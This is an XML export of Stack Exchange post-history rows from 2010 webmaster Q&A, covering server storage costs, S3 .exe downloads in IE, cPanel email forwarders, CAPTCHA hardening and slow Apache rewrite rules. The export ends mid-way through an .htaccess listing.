  <row Id="8410" PostHistoryTypeId="3" PostId="4254" RevisionGUID="c270ad67-7597-458b-909f-b540f792abd7" CreationDate="2010-10-22T17:08:46.837" UserId="2017" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="8411" PostHistoryTypeId="2" PostId="4255" RevisionGUID="da3d2a81-492e-403a-b590-4d30fcbc73a7" CreationDate="2010-10-22T17:12:50.273" UserId="1253" Text="There is the [Google Adwords Keyword Tool][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none" />
  <row Id="8412" PostHistoryTypeId="6" PostId="4254" RevisionGUID="fe19c97a-a67d-413d-9eb1-64f43b783ef3" CreationDate="2010-10-22T17:13:06.797" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;bing&gt;" />
  <row Id="8413" PostHistoryTypeId="2" PostId="4256" RevisionGUID="72d865e9-2b02-470f-b4f1-0680f227f06a" CreationDate="2010-10-22T17:42:14.190" UserId="2662" Text="Okay basically, I want to know some details about how much it would cost to buy a web server for what I want to do.&#xD;&#xA;&#xD;&#xA;The site we're making is going to accept uploads from users. A LOT of uploads. How much is this really going to cost in server space? Videos, Pictures, Audio, everything. And how easy/expensive is it to increase server space/speed to handle all of these concurrent uploads happening.&#xD;&#xA;&#xD;&#xA;I really have no idea where to start with this, haven't been a webmaster before =/" />
  <row Id="8414" PostHistoryTypeId="1" PostId="4256" RevisionGUID="72d865e9-2b02-470f-b4f1-0680f227f06a" CreationDate="2010-10-22T17:42:14.190" UserId="2662" Text="Server Space / Server Cost" />
  <row Id="8415" PostHistoryTypeId="3" PostId="4256" RevisionGUID="72d865e9-2b02-470f-b4f1-0680f227f06a" CreationDate="2010-10-22T17:42:14.190" UserId="2662" Text="&lt;server&gt;&lt;uploading&gt;&lt;web&gt;" />
  <row Id="8420" PostHistoryTypeId="5" PostId="4242" RevisionGUID="811519ce-7a95-4626-9f0c-a8bd653482e7" CreationDate="2010-10-22T18:04:14.580" UserId="1894" Comment="typo" Text="Is there currently a way to for a web application to receive data from mobile device's sensors (eg. gyroscope, accelerometer, compass) through its browser?&#xD;&#xA;&#xD;&#xA;If not, do any formal proposals exist for how this might be achieved in the future?" />
  <row Id="8423" PostHistoryTypeId="2" PostId="4258" RevisionGUID="409ae19e-1943-46a0-9c2b-5d27c25a5089" CreationDate="2010-10-22T18:59:27.273" UserId="343" Text="You might want to start by looking at Amazon S3 as an option for your data storage rather than storing it on your own servers.&#xD;&#xA;&#xD;&#xA;There are many hosting companies that say they offer &quot;unlimited storage&quot;, but if you start filling up a server with terabytes of data, I can pretty much guarantee they are going to shut you down." />
  <row Id="8424" PostHistoryTypeId="2" PostId="4259" RevisionGUID="a3a13bc9-445d-40de-8747-40e54f59f609" CreationDate="2010-10-22T19:03:33.660" UserId="343" Text="How many rewrite rules do you have?  If you have many rules, are you using the [L] modifier to make sure the rewrite engine doesn't check rules unnecessarily?" />
  <row Id="8425" PostHistoryTypeId="2" PostId="4260" RevisionGUID="77bd35da-f253-489b-a05b-b189f2e4dec4" CreationDate="2010-10-22T19:04:40.117" UserId="2209" Text="I believe that is a bug tracking system developed by Drupal. You could always send an email to the developers and find out. Usually if someone is using Drupal on their site it would say something like &quot;Powered by Drupal&quot; or what ever the developer puts there if anything. Other then that there is no way I know of to see if a site is using Drupal." />
  <row Id="8429" PostHistoryTypeId="2" PostId="4262" RevisionGUID="2631b6d3-5285-40b4-8bdf-c95e1bfdc729" CreationDate="2010-10-22T19:41:53.067" UserId="2666" Text="You need estimates of how much space this LOT of uploads will take, and how quickly it will grow, and whether you are willing to do it yourself or pay more to have it made.&#xD;&#xA;&#xD;&#xA;Doing it yourself will get you in the region of:&#xD;&#xA;&#xD;&#xA; - A case with lots of disk bays&#xD;&#xA; - Server innards&#xD;&#xA; - Cheap server class SAS disks&#xD;&#xA;&#xD;&#xA;Maybe £1,200-£2,000 for 4-6Tbs of RAID5 storage with all server class hardware, but not ever so performant.&#xD;&#xA;&#xD;&#xA;To buy similar kit from HP/Dell/etc. add several hundreds at least, probably more.&#xD;&#xA;&#xD;&#xA;If you need seriously more disk space then you'll need to break out into the land of smaller physical disks to fit more in one server, physically bigger servers which cost more to host, or external disk arrays and disk shelves, and that's going to add thousands for the devices and disks to fill them.&#xD;&#xA;&#xD;&#xA;Also if you're doing LOTS of uploads, does that mean lots of people? Lots of members? Large databases which need fast disk subsystems and lots of memory?&#xD;&#xA;&#xD;&#xA;How easy it is to upgrade depends on how you've designed it. The basic answers are:&#xD;&#xA;&#xD;&#xA; - Really easy if the upgrade fits in your server and you don't mind shutting it off while you do it.&#xD;&#xA; - Not so easy if you have to do it while the site is live.&#xD;&#xA; - Really hard if the system is designed for one server, and it's now full.&#xD;&#xA; - Pretty Easy if the system is designed for multiple servers and you can just add another. It's hard to get it to this state in the first place, though.&#xD;&#xA;&#xD;&#xA;It's going to cost you as much again for an internet connection which can handle &quot;LOTS&quot; of concurrent video and photo uploads.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Depending on what you mean by a LOT, of course. We had a phonecall asking us to quote for hosting a site which would be as big as YouTube, once. In 2006 YouTube used about 45Tb of storage (http://www.web-strategist.com/blog/2006/09/01/youtube-data-storage-stats-revealed/) and was projecting 95Tb by January 2007.&#xD;&#xA;&#xD;&#xA;If that's the kind of scale you're thinking of ... the storage will be possible, but the management of that amount of content wont be easy.&#xD;&#xA;&#xD;&#xA;A Dell MD3000i is low end enterprise storage, and with two expansion shelves, can hit 45Tb and that's in the $10-20,000 range.&#xD;&#xA;&#xD;&#xA;http://www.dell.com/content/topics/topic.aspx/global/products/pvaul/topics/en/us/pvaul_md3000i_landing?c=us&amp;l=en&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8430" PostHistoryTypeId="2" PostId="4263" RevisionGUID="fa30df20-4bc8-4d8d-99a9-58c94a98841c" CreationDate="2010-10-22T19:46:22.653" UserId="252" Text="I have a large collection of Windows exe files which are being stored/distributed using Amazon S3. We use signed URLs to control access to the files and this works great except in one case when trying to download a .exe file using Internet Explorer (version 8). It works just fine in Firefox. It also works fine if you don't use a signed URL (but that is not an option).&#xD;&#xA;&#xD;&#xA;What happens is that the IE downloader changes the name from 'myfile.exe' to 'myfile[1]' and Windows no longer recognizes it as an executable. Any advice would greatly be appreciated.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="8431" PostHistoryTypeId="1" PostId="4263" RevisionGUID="fa30df20-4bc8-4d8d-99a9-58c94a98841c" CreationDate="2010-10-22T19:46:22.653" UserId="252" Text="Problem downloading .exe file from Amazon S3 with a signed URL in IE" />
  <row Id="8432" PostHistoryTypeId="3" PostId="4263" RevisionGUID="fa30df20-4bc8-4d8d-99a9-58c94a98841c" CreationDate="2010-10-22T19:46:22.653" UserId="252" Text="&lt;internet-explorer&gt;&lt;amazon-s3&gt;" />
  <row Id="8433" PostHistoryTypeId="5" PostId="4262" RevisionGUID="58d9fefd-1c1b-4d06-a47b-0e1e00584960" CreationDate="2010-10-22T19:47:00.063" UserId="2666" Comment="added 291 characters in body" Text="You need estimates of how much space this LOT of uploads will take, and how quickly it will grow, and whether you are willing to do it yourself or pay more to have it made.&#xD;&#xA;&#xD;&#xA;Doing it yourself will get you in the region of:&#xD;&#xA;&#xD;&#xA; - A case with lots of disk bays&#xD;&#xA; - Server innards&#xD;&#xA; - Cheap server class SAS disks&#xD;&#xA;&#xD;&#xA;Maybe £1,200-£2,000 for 4-6Tbs of RAID5 storage with all server class hardware, but not ever so performant.&#xD;&#xA;&#xD;&#xA;To buy similar kit from HP/Dell/etc. add several hundreds at least, probably more.&#xD;&#xA;&#xD;&#xA;If you need seriously more disk space then you'll need to break out into the land of smaller physical disks to fit more in one server, physically bigger servers which cost more to host, or external disk arrays and disk shelves, and that's going to add thousands for the devices and disks to fill them.&#xD;&#xA;&#xD;&#xA;Also if you're doing LOTS of uploads, does that mean lots of people? Lots of members? Large databases which need fast disk subsystems and lots of memory?&#xD;&#xA;&#xD;&#xA;How easy it is to upgrade depends on how you've designed it. The basic answers are:&#xD;&#xA;&#xD;&#xA; - Really easy if the upgrade fits in your server and you don't mind shutting it off while you do it.&#xD;&#xA; - Not so easy if you have to do it while the site is live.&#xD;&#xA; - Really hard if the system is designed for one server, and it's now full.&#xD;&#xA; - Pretty Easy if the system is designed for multiple servers and you can just add another. It's hard to get it to this state in the first place, though.&#xD;&#xA;&#xD;&#xA;It's going to cost you as much again for an internet connection which can handle &quot;LOTS&quot; of concurrent video and photo uploads.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Depending on what you mean by a LOT, of course. We had a phonecall asking us to quote for hosting a site which would be as big as YouTube, once. In 2006 YouTube used about 45Tb of storage (http://www.web-strategist.com/blog/2006/09/01/youtube-data-storage-stats-revealed/) and was projecting 95Tb by January 2007.&#xD;&#xA;&#xD;&#xA;If that's the kind of scale you're thinking of ... the storage will be possible, but the management of that amount of content wont be easy.&#xD;&#xA;&#xD;&#xA;A Dell MD3000i is low end enterprise storage, and with two expansion shelves, can hit 45Tb and that's in the $10-20,000 range.&#xD;&#xA;&#xD;&#xA;http://www.dell.com/content/topics/topic.aspx/global/products/pvaul/topics/en/us/pvaul_md3000i_landing?c=us&amp;l=en&#xD;&#xA;&#xD;&#xA;If you are serious, you need to spec it out first, make some predictions on how many concurrent uploads, how much video, how many pictures, what you need to do with it. What else is involved in the site. Otherwise you'll end up with a system which wont stand a chance of doing what you want." />
  <row Id="8436" PostHistoryTypeId="6" PostId="4174" RevisionGUID="9bd8e825-b2c3-4940-be4b-c1131a3b402e" CreationDate="2010-10-22T20:15:14.587" UserId="706" Comment="edited tags" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;internationalization&gt;&lt;idn&gt;&lt;punycode&gt;" />
  <row Id="8437" PostHistoryTypeId="2" PostId="4267" RevisionGUID="f38ceda3-18a0-42c6-9eeb-efbb48714cc5" CreationDate="2010-10-19T10:39:02.737" UserId="1204" Text="Not cPanel specific, but I have a sub-domain with a catch-all set. Everything for &lt;any_address&gt;@singleuse.&lt;domain&gt;.&lt;tld&gt; goes to my main mail account, so I can give CompanyX the address companyx@singleuse.&lt;domain&gt;.&lt;tld&gt; - their mail will get through to me, and if I start getting junk I can just block the address or set it to forward to the spam training account.&#xD;&#xA;&#xD;&#xA;If you need to send mail to the company in question, as a reply to their mail or otherwise, make sure your client supports multiple identities and send out using that identity. Double-check though that your outgoing server doesn't add a &quot;really sent by&quot; header to outgoing mail. I find it very rare that I need to send mail like this though - most of the time the only email sent/received is the initial account activation instructions and any newsletter type mail they send out.&#xD;&#xA;&#xD;&#xA;I'm not sure what you are meaning by &quot;filter out addresses in the body of the email&quot;. If you don't want email addresses in the body of the email just don't type them there." />
  <row Id="8438" PostHistoryTypeId="2" PostId="4268" RevisionGUID="90808634-09d6-4fc0-bb74-71e2782b4b07" CreationDate="2010-10-19T12:06:52.357" UserDisplayName="Mia" Text="I don't know how to send anonymous email with CPanel. But you can use http://www.secure-anonymous-email.com if you want to send anonymous email..." />
  <row Id="8439" PostHistoryTypeId="2" PostId="4266" RevisionGUID="f8fe54d3-89e2-4bb1-915e-0f69c3efa097" CreationDate="2010-10-19T10:25:14.577" UserDisplayName="Gravitas" Text="Some companies demand your email address, then send you spam. I'm quite familiar with cPanel. How would I set up an anonymous email forwarder, so I can give them a valid email address, and kill that email address if the company turns into an evil spammer?&#xD;&#xA;&#xD;&#xA;Note that to be effective, it would have to filter out any email addresses listed in the body of the forwarded email (otherwise those email addresses will end up on their spam list too)." />
  <row Id="8440" PostHistoryTypeId="1" PostId="4266" RevisionGUID="f8fe54d3-89e2-4bb1-915e-0f69c3efa097" CreationDate="2010-10-19T10:25:14.577" UserDisplayName="Gravitas" Text="How do I set up anonymous email forwarder using cPanel?" />
  <row Id="8441" PostHistoryTypeId="3" PostId="4266" RevisionGUID="f8fe54d3-89e2-4bb1-915e-0f69c3efa097" CreationDate="2010-10-19T10:25:14.577" UserDisplayName="Gravitas" Text="&lt;email&gt;&lt;cpanel&gt;" />
  <row Id="8442" PostHistoryTypeId="17" PostId="4266" RevisionGUID="5e961584-cd21-4182-ba97-26ea4aa3dc49" CreationDate="2010-10-22T20:15:54.897" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/8352/how-do-i-set-up-anonymous-email-forwarder-using-cpanel" Text="" />
  <row Id="8444" PostHistoryTypeId="2" PostId="4269" RevisionGUID="ec3a5bd0-d303-4fa1-989f-0f9f2a0dd305" CreationDate="2010-10-22T20:35:26.780" UserId="2071" Text="I think I'm in the majority of programmers in saying I can't do visual design for s***. But I do write programs occasionally, and I'd like to have a nice website to tell people about said programs. I used to use a site called &quot;OSWD&quot; to find templates, but it's been forever since it's been looked at, and most of the designs seem overly specifically tailored to a single kind of site -- for example, a site featuring a large picture of an ice cube wouldn't make much sense for a site displaying software for people to use.&#xD;&#xA;&#xD;&#xA;I know there are plenty of template sites out there which have freely available designs, but I'm not sure which ones are good, and which ones are garbage.&#xD;&#xA;&#xD;&#xA;Where is the best place to find website templates?&#xD;&#xA;&#xD;&#xA;(This really should be CW but it's not letting me make it one... if some mod would care to do that?)" />
  <row Id="8445" PostHistoryTypeId="1" PostId="4269" RevisionGUID="ec3a5bd0-d303-4fa1-989f-0f9f2a0dd305" CreationDate="2010-10-22T20:35:26.780" UserId="2071" Text="Where is the best place to find stock website templates?" />
  <row Id="8446" PostHistoryTypeId="3" PostId="4269" RevisionGUID="ec3a5bd0-d303-4fa1-989f-0f9f2a0dd305" CreationDate="2010-10-22T20:35:26.780" UserId="2071" Text="&lt;template&gt;" />
  <row Id="8452" PostHistoryTypeId="2" PostId="4271" RevisionGUID="9db28535-adbc-4d2b-9ea2-9e8a8b6a6f5f" CreationDate="2010-10-22T21:19:17.220" UserId="2011" Text="AFAIK, everything on the drupal.org domain is powered by Drupal. The issue tracker on drupal.org is built with a number of modules. I don't know the exact list, but some important ones are [Project][1], [Project Issue Tracking][2] and [Views][3].&#xD;&#xA;&#xD;&#xA;If I want to know if a site is built with Drupal, I use http://isthissitebuiltwithdrupal.com. Click the 'Tell me more' link on that page to learn how it works. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/project&#xD;&#xA;  [2]: http://drupal.org/project/project_issue&#xD;&#xA;  [3]: http://drupal.org/project/views" />
  <row Id="8453" PostHistoryTypeId="2" PostId="4272" RevisionGUID="2213e376-c539-4ca1-ada5-2841733db28d" CreationDate="2010-10-22T21:27:27.613" UserId="1762" Text="Is there a way that we can measure performance for a host provider? If so, I would like to start this post as a wiki for everyone to chime in regarding their hosting provider.&#xD;&#xA;(I want to change but would like to make more of an informed decision.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Rules:**&#xD;&#xA;&#xD;&#xA;**Phase 1**&#xD;&#xA;&#xD;&#xA; - Post comments to the Question regarding ways to measure performance.&#xD;&#xA; - Vote for comments to the Question.&#xD;&#xA; - Based on comments I'll edit the Question so that we'll agree to use a particular technique or tool to measure performance.&#xD;&#xA;&#xD;&#xA;**Phase 2**&#xD;&#xA;&#xD;&#xA;Once we've decided on the technique or tool...If you want to contribute a measurement for a host provider...&#xD;&#xA;&#xD;&#xA; 1. If an answer/measurement for your host provider ***exists*** add your measure as a comment to that answer.&#xD;&#xA; 2. If an answer/measurement for you host provider ***does not exist***, create a new answer, list that host provider along with your measurement.&#xD;&#xA;&#xD;&#xA;(Note: perhaps different packages for the same hosting company should be different answers...ex: Media Temple Grid Service and Media Temple Dedicated Virtual should be listed as separate Answers)" />
  <row Id="8454" PostHistoryTypeId="1" PostId="4272" RevisionGUID="2213e376-c539-4ca1-ada5-2841733db28d" CreationDate="2010-10-22T21:27:27.613" UserId="1762" Text="Web hosting providers and performance" />
  <row Id="8455" PostHistoryTypeId="3" PostId="4272" RevisionGUID="2213e376-c539-4ca1-ada5-2841733db28d" CreationDate="2010-10-22T21:27:27.613" UserId="1762" Text="&lt;performance&gt;&lt;web-hosting&gt;" />
  <row Id="8456" PostHistoryTypeId="2" PostId="4273" RevisionGUID="9919441e-a8c1-47a0-ad02-ab4e8d937c72" CreationDate="2010-10-22T21:28:32.600" UserId="1064" Text="From your cPanel home page:&#xD;&#xA;&#xD;&#xA; 1. Click **Forwarders**&#xD;&#xA; 2. Under **Email Account Forwarders**&#xD;&#xA;    click the **Add Forwarder** button&#xD;&#xA; 3. Enter a one-time-use address (i.e.&#xD;&#xA;    &quot;company.eml&quot;) and select a domain&#xD;&#xA;    to associate it with&#xD;&#xA; 4. In the **Forward to email address**&#xD;&#xA;    field enter the address you'd like&#xD;&#xA;    to receive mail at&#xD;&#xA; 5. Click **Add Forwarder** and (barring delivery issues beyond the scope of these instructions) you should be done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8457" PostHistoryTypeId="2" PostId="4274" RevisionGUID="470e5d5b-1f2c-4f97-a56a-903c93828569" CreationDate="2010-10-22T22:30:55.027" UserId="2313" Text="You can measure the global response time of the providers (their home pages) with this load time testing tool: http://www.alertfox.com/Tools/LoadTime/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alertfox.com/Tools/LoadTime/" />
  <row Id="8458" PostHistoryTypeId="5" PostId="4209" RevisionGUID="553ce943-985c-423b-8363-a0b6b17364ba" CreationDate="2010-10-22T23:14:45.270" UserId="1757" Comment="added 9 characters in body" Text="CAPTCHAs are not bot-proof. There are bot algorithms out there that are perfectly capable of breaking CAPTCHAs, and they're getting better and more widespread with each passing day (while CAPTCHAs have basically reached their maximum opacity). Though in my experience CAPTCHAs can still keep 98% of bots out, so it's unfortunate that your site has been particularly hard hit.&#xD;&#xA;&#xD;&#xA;One of the things with CAPTCHA-reading algorithms is that (the last I read about them) the best algorithms only had a 50% accuracy, and the typical algorithm was more around 20%. That's not particularly high compared to the average human, but if you only need to solve the CAPTCHA once and can make as many attempts as you need, then it's plenty high to break the CAPTCHA authentication.&#xD;&#xA;&#xD;&#xA;If you're faced with bots that can break CAPTCHAs, then you might consider putting a delay between re-issuing CAPTCHAs. E.g. if they fail the first attempt, then they need to wait 5 seconds before trying again. If they fail a second time, then they have to wait 10 seconds. If they fail a third time, then they have to wait 30 seconds. And if they fail that, then their IP is banned for 24 hours. And if a particular IP address is failing two or more times on almost every post attempt and continues to post regularly, then you can be pretty sure that it's a bot, since most people would be fed up with having to solve that many CAPTCHAs to make a forum post.&#xD;&#xA;&#xD;&#xA;Also, you should check the strength of your CAPTCHAs, i.e.&#xD;&#xA;&#xD;&#xA; - Never reissue the same CAPTCHA twice (even with randomized noise).&#xD;&#xA; - Never use a fixed pattern answer (e.g letter, number, letter, number).&#xD;&#xA; - Similarly, don't use math problem CAPTCHAs with a predictable format.*&#xD;&#xA; - Make your CAPTCHA adequately long (at least 5-8 characters).&#xD;&#xA; - Never use a fixed-width font. The most problematic step in the CAPTCHA-solving process for bots is segmentation. This is where bots have the lowest success rate. By using a fixed width font, you're basically getting rid of this step for them.&#xD;&#xA;&#xD;&#xA;*One possible exception to the math problem CAPTCHA rule is if you make the CAPTCHA really long by spelling out all parts.&#xD;&#xA;&#xD;&#xA;Additionally, you could try using word riddles (so long as they can be generated randomly) and adding accent marks to the letters in your CAPTCHAs. You'll probably also want to use other anti-bot techniques like including hidden fields to trap bots or clever JavaScript to set cookies.&#xD;&#xA;&#xD;&#xA;Given the volume of spam you're getting, I assume your site must be very popular. So you could also enlist the help of users to help de-spam the site. If you employ a peer-moderation system in addition to a dedicated team of moderators, that should help keep spam levels to a minimum.&#xD;&#xA;&#xD;&#xA;Though you should still consider requiring sign-up in order to post. Any serious forum poster is gonna want to sign up so they can be notified of replies. It's also more convenient to do a quick sign-up than to have to fill out a CAPTCHA every time you want to post a message. Right now you're basically catering your forum to users who are more likely to be trolls who don't want any long-term commitment to the community than serious participants." />
  <row Id="8459" PostHistoryTypeId="2" PostId="4275" RevisionGUID="710bc41c-2e00-4f65-9dc2-e0fdb12bdba8" CreationDate="2010-10-22T23:42:23.227" UserId="2313" Text="Try the VIP code mod: http://www.phpbb.com/community/viewtopic.php?t=435702&#xD;&#xA;&#xD;&#xA;That works **fantastic!**" />
  <row Id="8460" PostHistoryTypeId="5" PostId="4237" RevisionGUID="be7a5b94-f6a5-4a17-b042-d09ba058192e" CreationDate="2010-10-23T00:04:55.363" UserId="2650" Comment="added 2622 characters in body" Text="(Same issue as http://stackoverflow.com/questions/3987754/how-to-diagnose-htaccess-speed-issues-via-rewritelog but more clearly explained below)&#xD;&#xA;&#xD;&#xA;We have a site which has scripts like this:&#xD;&#xA;&#xD;&#xA;    http://www.oursite.com/abcd/somescript.php&#xD;&#xA;&#xD;&#xA;We also have URL rewritten pages like this:&#xD;&#xA;&#xD;&#xA;    http://www.oursite.com/abcd/events/Anything/Anything/abc/abc.html&#xD;&#xA;&#xD;&#xA;All of these share 90% same content in terms of js, css, and image files.&#xD;&#xA;&#xD;&#xA;But the URL rewritten pages are extra-ordinary slow to load. Similarly, clicking on ANY link within such a page which leads to another such page is also very slow!&#xD;&#xA;&#xD;&#xA;It strongly looks like that the browser is reloading the page completely and not using the cached images which should be present on the browser.&#xD;&#xA;&#xD;&#xA;I turned on RewriteLog (at level 2) in Apache's httpd.conf and it shows the below when I:&#xD;&#xA;&#xD;&#xA;1. Accessed the homepage at: www.example.com/abcd/&#xD;&#xA;2. Clicked on the link to browse categories&#xD;&#xA;3. Clicked on the category - Language&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;      URL/sid#ID = www.example.com/sid#2b06c5712d30 &#xD;&#xA;&#xD;&#xA;        Step 1&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir ar/www/html/abcd/] pass through /var/www/html/abcd/index.php&#xD;&#xA;		Step 2&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events.html' -&gt; 'browse.php?type=classes-events'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/browse.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56d8528/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/browse.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/browse.php&#xD;&#xA;		Step 3&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/206.html' -&gt; 'browse.php?type=classes-events&amp;catId=206'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/browse.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56d8948/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/browse.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/ajax/showUserData.php' -&gt; 'ajax/showUserData.php'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/ajax/showUserData.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56d59d8/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/ajax/showUserData.php' -&gt; 'ajax/showUserData.php'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/ajax/showUserData.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56da9f8/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/ajax/showUserData.php' -&gt; 'ajax/showUserData.php'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/ajax/showUserData.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56f4268/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/ajax/browse.php' -&gt; 'ajax/browse.php'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/ajax/browse.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d57127d8/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/browse.php&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit 1** - this is the .htaccess that we're using&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /abcd/&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^.*/codelibrary/(.*)$ codelibrary/$1 [L]&#xD;&#xA;    #RewriteCond %{THE_REQUEST} in_upload/images/(.*) [NC,OR]&#xD;&#xA;    RewriteRule ^.*/in_upload/images/(.*)$ in_upload/images/$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_URI} !in_upload/(.*)\.&#xD;&#xA;    RewriteRule ^.*/images/(.*)$ images/$1 [L]&#xD;&#xA;    RewriteRule ^.*/admin/ajax/(.*)$ admin/ajax/$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_URI} !admin/(.*)\.&#xD;&#xA;    RewriteRule ^.*/ajax/(.*)$ ajax/$1 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^.*/banner_images/(.*)$ banner_images/$1 [L]&#xD;&#xA;    &#xD;&#xA;    #php_flag magic_quotes_gpc off&#xD;&#xA;    RewriteRule (.*)invite/([a-zA-Z0-9]+)$ referer.php?in_name=$2&#xD;&#xA;    RewriteRule (.*)cms/([a-zA-Z\-]*).html$ static-pages.php?page_url=$2 [L]&#xD;&#xA;    RewriteRule ^([a-zA-Z0-9]+)$ t-profile-public.php?name=$1&#xD;&#xA;    &#xD;&#xA;    RewriteRule (.*)cms/([a-zA-Z\-]*).html$ static-pages.php?page_url=$2 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule (.*)classes-events.html$ browse.php?type=classes-events [L]&#xD;&#xA;    RewriteRule (.*)ins.html$ browse.php?type=ins [L]&#xD;&#xA;    RewriteRule (.*)orgs.html$ browse.php?type=orgs [L]&#xD;&#xA;    RewriteRule (.*)random-content.html$ browse.php?type=content&amp;random_order=1 [L]&#xD;&#xA;    RewriteRule (.*)content.html$ browse.php?type=content [L]&#xD;&#xA;    